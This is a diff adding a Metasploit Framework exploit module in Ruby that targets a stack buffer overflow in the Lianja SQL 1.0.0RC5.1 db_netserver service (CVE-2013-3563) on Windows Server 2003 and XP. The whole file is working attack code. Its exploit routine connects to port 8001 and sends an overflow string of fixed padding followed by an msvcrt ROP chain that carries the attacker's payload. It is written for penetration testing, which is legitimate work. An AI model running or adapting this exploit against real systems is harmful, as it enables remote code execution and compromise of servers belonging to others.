|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = GoodRanking |
| 12 | + include Msf::Exploit::Remote::Tcp |
| 13 | + include Msf::Exploit::RopDb |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a stack buffer overflow in the db_netserver |
| 20 | + process which is spawned by the Lianja SQL server. The issue is |
| 21 | + fixed in Lianja SQL 1.0.0RC5.2. |
| 22 | + }, |
| 23 | + 'Author' => [ 'Spencer McIntyre' ], |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'References' => [ |
| 26 | + [ 'CVE', '2013-3563' ], |
| 27 | + ], |
| 28 | + 'DefaultOptions' => |
| 29 | + { |
| 30 | + 'WfsDelay' => 20, |
| 31 | + }, |
| 32 | + 'Platform' => 'win', |
| 33 | + 'Payload' => |
| 34 | + { |
| 35 | + 'StackAdjustment' => -3500, |
| 36 | + 'Space' => 500, |
| 37 | + 'BadChars' => "\x01", |
| 38 | + }, |
| 39 | + 'Targets' => |
| 40 | + [ |
| 41 | + [ 'Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ], |
| 42 | + [ 'Windows XP SP3', { 'rop_target' => 'xp' } ], |
| 43 | + ], |
| 44 | + 'DefaultTarget' => 0, |
| 45 | + 'Privileged' => true, |
| 46 | + 'DisclosureDate' => 'May 22 2013')) |
| 47 | + |
| 48 | + register_options( |
| 49 | + [ |
| 50 | + Opt::RPORT(8001), |
| 51 | + ], self.class) |
| 52 | + end |
| 53 | + |
| 54 | + def check |
| 55 | + begin |
| 56 | + connect |
| 57 | + rescue |
| 58 | + return Exploit::CheckCode::Safe |
| 59 | + end |
| 60 | + sock.put("db_net") |
| 61 | + if sock.recv(4) =~ /\d{1,5}/ |
| 62 | + return Exploit::CheckCode::Detected |
| 63 | + end |
| 64 | + return Exploit::CheckCode::Safe |
| 65 | + end |
| 66 | + |
| 67 | + def exploit |
| 68 | + connect |
| 69 | + sock.put("db_net") |
| 70 | + sock.recv(4) |
| 71 | + |
| 72 | + print_status("#{rhost}:#{rport} - Sending Malicious Data") |
| 73 | + evil_data = '000052E1' |
| 74 | + evil_data << 'A' |
| 75 | + evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur |
| 76 | + evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']}) |
| 77 | + sock.put(evil_data) |
| 78 | + disconnect |
| 79 | + end |
| 80 | +end |
0 commit comments